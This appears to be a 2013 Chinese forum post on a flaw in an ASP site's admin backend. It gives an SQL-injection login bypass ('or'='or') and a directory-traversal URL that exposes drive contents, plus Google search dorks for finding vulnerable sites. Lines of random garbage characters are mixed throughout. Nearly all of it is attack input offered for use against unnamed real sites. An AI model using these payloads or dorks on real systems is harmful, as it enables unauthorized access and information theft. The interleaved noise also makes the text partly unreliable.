后台万能密码 'or'='or'
- _( N! M$ ]# E% N4 D1 b3 y8 K/ O- Z$ B
后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！9 J1 Y" ^$ I, ]9 Q
admin/uploadfile.asp?currentFolder=/upfiles/../
) r8 @. E; o; {) p" a3 K9 ~ m7 h: O
漏洞证明：, h' W: `0 J( t& y
6 h$ y8 Q$ u1 s: A
谷歌：inurl:type.asp?id=1 新闻中心) c% H4 O( M, G5 {- b, ~, q: n
或者 ：inurl:download_ok.asp?' M, V) V& x# ?6 a! U
* e6 I2 _; v0 E1 V |
发表于 2013-3-14 20:17:32
收藏
支持
反对